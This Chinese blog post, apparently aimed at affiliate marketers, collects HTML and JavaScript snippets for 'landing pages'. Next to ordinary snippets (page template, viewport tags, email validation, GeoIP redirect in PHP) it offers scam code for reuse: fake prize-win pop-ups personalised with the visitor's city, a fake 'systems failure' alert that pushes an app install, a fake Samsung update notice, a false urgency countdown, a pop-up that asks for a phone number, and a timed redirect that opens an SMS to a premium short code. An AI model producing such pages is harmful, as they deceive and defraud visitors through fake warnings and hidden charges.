快速提升转化率的登陆页HTML5和JavaScript代码

HTML5空白模板

这个代码很简单吗,很多人都写过,只要你写过一个页面,那么肯定就见过,那就是一个空白的HTML页面模板,多见的和hello world一样,云落是把他写在编辑器的默认新建模板里面的

<!DOCTYPE html><html lang="zh-CN">  <head>    <meta charset="utf-8">    <title>Untitled</title>    <meta name="description" content="This is an example of a meta description.">    <link rel="stylesheet" type="text/css" href="theme.css">    <!--[if lt IE 9]><script src="http://html5shim.googlecode.com/svn/trunk/html5.js"></script>    <![endif]-->  </head>  <body>  </body></html>

异步加载JavaScript

异步加载JavaScript可以明显加快网页速度,而且这个也是HTML5的功能之一,添加的方法也很简单,只需要在script标签内加入async属性即可,但是使用的时候需要检测JavaScript的生效问题哦

<script src="/script.js" async></script>

定义响应式视图

打开随便一个响应式网页,比如你现在看的这个网页,就会看到类似于下面的这个代码,他是告诉浏览器我这个是响应式网页,我能看到多大的范围,嗯,大概是这个意思,明白就行.

<meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1,user-scalable=no"><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"><meta name="HandheldFriendly" content="true">

一个1px大小的Gif占位图

很多网页都会使用很小的图片占位,比如懒加载,那么就需要一个很小的图片来占位了,或者使用背景图,使用这个很小的base64代码作为图片吧

<img src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7">

邮箱验证

有句话说是[永远不要相信用户输入的东西],这份是告诉我们需要对用户输入的内容进行验证,邮箱提交是我们经常遇到的输入过程,比如注册什么的,这个时候就需要对输入的内容进行验证了

<input type="text" title="email" required pattern="[^@]+@[^@]+\.[a-zA-Z]{2,6}" />

表单自动完成

我们输入表单的时候经常会遇到自动完成的需要,这样就会减少用户的输入过程,提高体验,也防止错误.

<input type="text" name="frameworks" list="frameworks" /><datalist id="frameworks"><option value="中国银行"><option value="中国石油"><option value="中国电信"><option value="中国移动"><option value="中国联通"></datalist>

3条必备通用代码

<meta name="viewport" content="width=device-width; initial-scale=1.0; maximum-scale=1.0; user-scalable=0;"><meta name="apple-mobile-web-app-capable" content="yes"><meta name="robots" content="noindex, nofollow, noarchive, nosnippet" />

打开LP弹窗代码

 <script>alert("Congratulations!\n\nYou have come first in "+place+"'s (Mobile) prize draw contest!\n\nYou are now entitled to choose (1) reward!\n\nPress OK to continue...");</script>或者* SAMSUNG REQUIRED UPDATE * Samsung needs to install the updated streaming app in order to continue viewing content on this site.Install now on Google Play.

单页弹窗代码

<body bgcolor="#000000"><script type='text/javascript'>alert('***** WARNING ***** \n\n(4) Systems failure detected while you attempted to perform this download. Your phone contacts, photos & password could be damaged. \n\nImmediate action must be taken : \n\nStep 1: Install Kiwi Calendar Recovery from App Store \n\nStep 2: Load Apps & Run Auto Recovery function \n\nStep 3: Wait for 60 Seconds for System Repair \n\r\n\r *** Exit at your own risk ***');</script><meta http-equiv="refresh" content="0;URL=https://jiemahao.com" /></body>

显示地理位置的JavaScript Code

<script language="JavaScript" src="http://j.maxmind.com/app/geoip.js"></script><script>var place;var city = geoip_city();var country = geoip_country_name();if(city=='') place = country;else place = city;</script>引用处代码:<script language="JavaScript">document.write(place);</script>

退出弹窗代码

<script language="JavaScript" type="text/javascript">function exit_alert(){alert("You Have Chosen the New Iphone 6 (32GB Black).\n\nGood News! We have (2) iPhone 6 in stock and your prize has now been reserved!\n\nPlease answer the final qualifying question correctly and enter your mobile number on the next page to continue!");}</script> 引用处<a class="step2" href="<?php echo $offer; ?>" onClick="exit_alert();">

显示星期几的或具体上下午的JavaScript Code:

<strong><script type="text/javascript">var d=new Date();var weekday=new Array(7);weekday[0]=" Sunday ";weekday[1]=" Monday ";weekday[2]=" Tuesday ";weekday[3]=" Wednesday ";weekday[4]=" Thursday ";weekday[5]=" Friday ";weekday[6]=" Saturday ";document.write("" + weekday[d.getDay()]);</script> <script language="JavaScript"><!-- Beginvar d = new Date();var h = d.getHours();if (h < 2) document.write("morning, ");else if (h < 3) document.write("morning, ");else if (h < 7) document.write("morning, ");else if (h < 12) document.write("morning, ");else if (h < 17) document.write("afternoon, ");else if (h < 23) document.write("evening, ");else document.write("evening");// End --></script></strong> we randomly select one <strong></strong> user from <strong><script language="JavaScript">document.write(place);</script></strong> who is eligible for a chance to win a brand new iPad! <br />Based on today's draw you are this <strong><script language="JavaScript"><!-- Beginvar d = new Date();var h = d.getHours();if (h < 2) document.write("morning's");else if (h < 3) document.write("morning's");else if (h < 7) document.write("morning's");else if (h < 12) document.write("morning's");else if (h < 17) document.write("afternoon's");else if (h < 23) document.write("evening's");else document.write("evening's");// End --></script>

计时器代码:

 <script>setInterval('countdown()',1000);function countdown(){var mins = parseInt(document.getElementById("mins").innerHTML);var secs = parseInt(document.getElementById("hsecs").innerHTML);if(mins!=0 && secs==0){nmins = mins -1; nsecs = 59;}else if(mins!=0 || secs!=0){nmins = mins; nsecs = secs - 1;}else if(mins==0 && secs==0){nmins = mins; nsecs = secs;}document.getElementById("mins").innerHTML = nmins;document.getElementById("hsecs").innerHTML = nsecs;if(nsecs < 10) nsecs = "0" + nsecs;document.getElementById("secs").innerHTML = nsecs;}</script>引用计时器代码:<span style="color:red;"><span id="mins">3</span> Mins <span id="secs">41</span> Sec <span style="display: none;" id="hsecs">41</span> </span>
自动重定向短讯:<script type="text/javascript">              setTimeout(function() { window.location.href="sms:36773?body=ON WIN"; }, 5000);          </script>

地理定位,声音,视频,弹窗,计时器等促进LP登陆页CTR转化率
GEO dating landings pages将会是很好的促进CTR转化率。如果在配合声音,来路关联脚本、关闭提示脚本,辅以热门时事,简单问答判断,如你nice不?还有大人类offer Dating .—Are you older than 18?

Geo Targeting

Geo Targeting

Geo targeting is pretty simple but used correctly can increase your CTR pretty dramatically. In this post I’m going to show you how to implement geo targeting step by step and talk about some practical applicatons.

Step 1 – Get the script

A simple script to set up and use is http://www.maxmind.com/app/javascript_city

Step 2 – Add the script to your LP

You will need an HTML editor and some very basic HTML knowledge (which you should definitely have).

Add this code <script language=”JavaScript” src=”http://j.maxmind.com/app/geoip.js”></script>
to the head section of your HTML (add it after the <head> tag and before the </head> tag)

Now wherever you want to display the city on your page use this code

<script language=”JavaScript”>document.write(geoip_city()) ;</script>

That’s really it.

So, what are some ways you can use this?

You can use this on virtually any campaign. Some of the most popular uses are;

– On a dating .”Meet singles in cityname” type thing

– On an insurance landing page. “Get insurance rates in cityname”

– On any freebie, coupon, etc. type offer. “We have a special deal for people in cityname”

Those are the most obvious examples but you can get really creative with this. Don’t just use the obvious examples but come up with really creative ways to use geo targeting and it can really do wonders for your CTR and conversions.

GeoIP Redirection 教程
GeoIP Redirection 步骤
1.下载所需文件
GeoIP.dat,并解压
dev.maxmind.com/geoip/legacy/geolite
这个数据每月5号更新

geoip.inc
http://pan.baidu.com/share/link?shareid=481635&uk=87540973

2.修改PHP文件

<?php $IP = $_SERVER["REMOTE_ADDR"];include("geoip.inc");$gi = geoip_open("GeoIP.dat", GEOIP_MEMORY_CACHE);$CountryCode = geoip_country_code_by_addr($gi, $IP);geoip_close($gi);// ****DO NOT TOUCH ABOVE THIS LINE.****** //***Consult the Readme if you aren't sure what you're doing**** if ($CountryCode=="US"){ //US offers go here header('Location: http://www.yahoo.com'); } //Add or remove these else if statements depending on which countries you have offers for else if($CountryCode=="GB") { //UK offers go here header('Location: http://www.google.com'); } else if($CountryCode=="AU") { //AU offers go here }else if($CountryCode=="DE") {//DE offers go here } else { //Change this to reflect your international offers for country codes not listed above header('Location: http://www.baidu.com'); } ?>

国家代码查询:http://dev.maxmind.com/geoip/legacy/codes/iso3166

3.上传文件
把GeoIP.dat, geoip.inc 和 PHP文件放在同一个文件夹,PHP文件可以任意取名,然后打包上传到可以访问的目录。

原文链接:https://jiemahao.com/landing-pages-javascript-code/,转载请注明出处。
0
显示验证码